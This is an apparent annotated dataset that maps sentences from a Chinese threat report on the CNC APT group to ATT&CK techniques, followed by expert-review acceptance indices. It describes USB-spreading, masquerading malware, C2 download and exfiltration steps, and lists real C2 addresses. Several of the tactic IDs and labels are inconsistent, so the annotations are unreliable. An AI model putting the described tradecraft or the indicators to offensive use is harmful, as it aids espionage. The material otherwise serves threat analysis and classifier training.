从跟踪情况来看，该组织一直在改造其攻击组件，不断加强其窃密、反分析及反取证能力，安全公司应加强相关技术的检测。	[{'taid': 'TA0004', 'tactic': 'Persistence', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion'}, {'taid': 'TA0004', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0, 1]
深信服深瞻情报实验室专注全球高级威胁事件的跟踪与分析，拥有一套完善的自动化分析溯源系统以及外部威胁监控系统，能够快速精准地对 APT 组织使用的攻击样本进行自动化分析和关联，同时积累并完善了几十个 APT 以及网络犯罪威胁组织的详细画像，成功帮助客户应急响应处置过多起 APT 及网络犯罪威胁组织攻击事件，未	[{'taid': 'TA0005', 'tactic': 'Intelligence', 'tid': 'None', 'technique': 'None'}]	1	[0]

来随着安全对抗的不断升级，威胁组织会研究和使用更多新型的 TTP，深瞻情报实验室会持续监控，并对全球发现的新型安全事件进行深入分析与研究。			

Expert Review Result

text	tts	ttps_pred_count	ttps_accept_idx
根据目前已知情况，CNC 组织最早于 2019 年被披露，经常使用鱼叉式钓鱼邮件，针对国内军工、教育、科研机构及航空航天等行业进行攻击，窃取该类单位的高新技术研究资料或规划信息等。	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566.001', 'technique': 'Phishing: Spearphishing Attachment'}, {'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1119', 'technique': 'Automated Collection'}]	2	[0]
在本次攻击活动中，我们观察到其使用的组件伪装为图片查看器，其详细信息如下表，通过确认该组件与曾披露过的“摆渡木马”功能相似	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1056', 'technique': 'Input Capture'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[]
获取目标机器用户名信息	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1087', 'technique': 'Account Discovery'}]	1	[]
获取磁盘名称字符串，不断检测是否存在新设备接入，如果检测到新设备，将当前文件复制到新设备，并且检测是否联网，当网络通畅时将“-oneid”拼接到主机名后，当无网络连接时将“-lastid”拼接到主机名后	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1120', 'technique': 'Peripheral Device Discovery'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}]	2	[0]
并于当前执行目录读取资源数据创建 PNG 文件“私人图像.png”并打开	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1005', 'technique': 'Data from Local System'}]	1	[]

接着判断是否存在“%appdata%\imagedrvhost.exe，当存在时跳过所有操作结束流程。当不存在时判断是否存在网络连接，当存在网络连接时开始与 C2 进行通信。”	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[]
拼接域名“[githubusercontent.com](https://github.com)”，并获取目标伪造文件名称。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	2	[0]
拼接出路径名称“%appdata%\SangSupport.exe”。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
拼接通信 C2 地址“https://146.59.223.210/solution-basic/gecko/SangSupport”。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[]
最终向上述 C2 进行通信，下载第二阶段载荷至“%temp%\SangSupport”，将下载载荷复制到“%appdata%\SangSupport.exe”，并删除 temp 目录下载的第二阶段载荷“%temp%\SangSupport”。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1105', 'technique': 'Remote File Copy'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	2	[0, 1]
创建任务计划“SangSupportApp”并伪造目标为国内企业相关文件信息以执行第二阶段载荷	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1053', 'technique': 'Scheduled Task/Job'}]	1	[0]
后续通过 WTSEnumerateProcessesW 枚举系统进程信息。	[{'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1057', 'technique': 'Process Discovery'}]	1	[0]
将窃取的进程信息使用 base64 编码，通过“ http://146.59.223.210/wp-includes?”传输。	[{'taid': 'TA0003', 'tactic': 'Exfiltration', 'tid': 'T1041', 'technique':	2	[0, 1]

	'Exfiltration Over C2 Channel'}, {'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1003', 'technique': 'OS Credential Dumping'}]		
在关联分析中，我们发现该组织使用的另一个组件“**YoudaoDictHelp.exe**”，该组件通过伪装国内某用户量很大的翻译软件用以欺骗目标，该组件详细信息如下。	[{'taid': 'TA0002', 'tactic': 'Deception', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
该文件与上述下载器组件存在相同的磁盘容量大小检测逻辑。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[]
解密出路径“**C:\Windows\System32\drivers\etc\hosts**”。	[{'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}]	1	[]
检测域名“**ke.youdao.com**”是否存在与本地 **hosts** 文件中。	[{'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1016', 'technique': 'System Network Configuration Discovery'}]	1	[0]
当检测到域名不存在于 **hosts** 文件中时，解密出硬编码的 **C2** 地址“**https://149.154.153.155/**”。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[]
当检测到域名存在于 **hosts** 文件中时，获取 **temp** 目录并解密名称“**Rtxtemp823243**”拼接出路径“**%temp%\Rtxtemp823243**”并检测该文件是否存在。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}, {'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}]	2	[1]
当不存在时生成随机字符串，并将生成的字符串写入该文件。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1001', 'technique': 'Data Obfuscation'}]	1	[]
使用硬编码 **C2** 通信时，使用随机字符串与硬编码 **C2** 拼接 **URL** 地址“**https://149.154.153.155/copyright98/[15 字节随机字符串]/GetBanner**”	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[]

使用域名时，使用随机字符串与域名进行拼接形成"https://ke.youdao.com/en-US=[15 字节随机字符串]/region=CN"	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1102', 'technique': 'Web Service'}]	1	[1]
在与上述 C2 通信的同时也会尝试从该 github 地址下载配置数据 "https://raw.githubusercontent.com/kkrightjackhuiyongxx1635/controlid/main/config.json"	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}]	1	[0]
该 github 地址内容已经失效	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	1	[]
由于 C2 数据已失效，后续行为无法跟踪，通过分析可判断出该组件存在命令执行、文件执行、文件列出（"ls"）、退出（"q"）等功能。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1059', 'technique': 'Command and Scripting Interpreter'}, {'taid': 'TA0002', 'tactic': 'Execution', 'tid': 'T1106', 'technique': 'Native API'}, {'taid': 'TA0002', 'tactic': 'Discovery', 'tid': 'T1083', 'technique': 'File and Directory Discovery'}]	4	[1, 3]
通过监测到的"imagedrvhost.exe"、"YoudaoDictHelp.exe"、"YoudaoDictDesk.exe"等文件名称特征，发现这些特征均符合该组织使用国内企业文件信息伪装的一贯习惯。分析事件中出现的组件，也发现与曾披露的"摆渡木马"同功能，通信的模式及 URL 格式等符合该组织的通信特征。	[{'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1036', 'technique': 'Masquerading'}]	1	[0]
通过深瞻情报实验室累积的情报数据，深信服创新研究院混动图 AI 模型也将该样本归因到 CNC 组织。	[{'taid': 'TA0002', 'tactic': 'Attribution', 'tid': 'None', 'technique': 'None'}]	1	[]
通过发现的多个 C2 地址的 SSL 证书进行分析，该组织常使用伪造的 163 邮箱、qq 邮箱及国内企业邮箱等信息创建自签名证书，符合该组织一贯的基础设施创建策略。	[{'taid': 'TA0002', 'tactic': 'Infrastructure', 'tid': 'T1583', 'technique': 'Acquire and/or Use Domain or Web Services'}, {'taid': 'TA0002', 'tactic': 'Defense	2	[0, 1]

	Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]		
在 C2“149.154.153.155”中，该组织使用虚假的 163 邮箱（“shyngwood@163.com”,该邮箱并不存在）以及中国地区信息创建了自签名证书用于加密通信。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0]
对关联的 C2“152.89.247.104”，使用虚假的 163 邮箱创建自签名证书用于加密通信。	[{'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}, {'taid': 'TA0002', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[0]
CNC 组织常使用鱼叉、水坑及渗透的方式对目标进行打点攻击，具有一定的危险性。	[{'taid': 'TA0001', 'tactic': 'Initial Access', 'tid': 'T1566', 'technique': 'Phishing'}]	1	[0]
其在 2022 年至 2023 年期间较为活跃，主要针对军工、教育、科研机构及航空航天等行业进行攻击，窃取该类单位的高新技术研究资料或规划信息等，相关行业及单位需要警惕并加强网络防御。	[{'taid': 'TA0002', 'tactic': 'Collection', 'tid': 'T1039', 'technique': 'Data from Information Repositories'}, {'taid': 'TA0003', 'tactic': 'Command and Control', 'tid': 'T1573', 'technique': 'Encrypted Channel'}]	2	[]
从跟踪情况来看，该组织一直在改造其攻击组件，不断加强其窃密、反分析及反取证能力，安全公司应加强相关技术的检测。	[{'taid': 'TA0004', 'tactic': 'Persistence', 'tid': 'T1497', 'technique': 'Virtualization/Sandbox Evasion'}, {'taid': 'TA0004', 'tactic': 'Defense Evasion', 'tid': 'T1027', 'technique': 'Obfuscated Files or Information'}]	2	[]

深信服深瞻情报实验室专注全球高级威胁事件的跟踪与分析，拥有一套完善的自动化分析溯源系统以及外部威胁监控系统，能够快速精准地对 APT 组织使用的攻击样本进行自动化分析和关联，同时积累并完善了几十个 APT 以及网络犯罪威胁组织的详细画像，成功帮助客户应急响应处置过多起 APT 及网络犯罪威胁组织攻击事件，未来随着安全对抗的不断升级，威胁组织会研究和使用更多新型的 TTP，深瞻情报实验室会持续监控，并对全球发现的新型安全事件进行深入分析与研究。	[{'taid': 'TA0005', 'tactic': 'Intelligence', 'tid': 'None', 'technique': 'None'}]	1	[]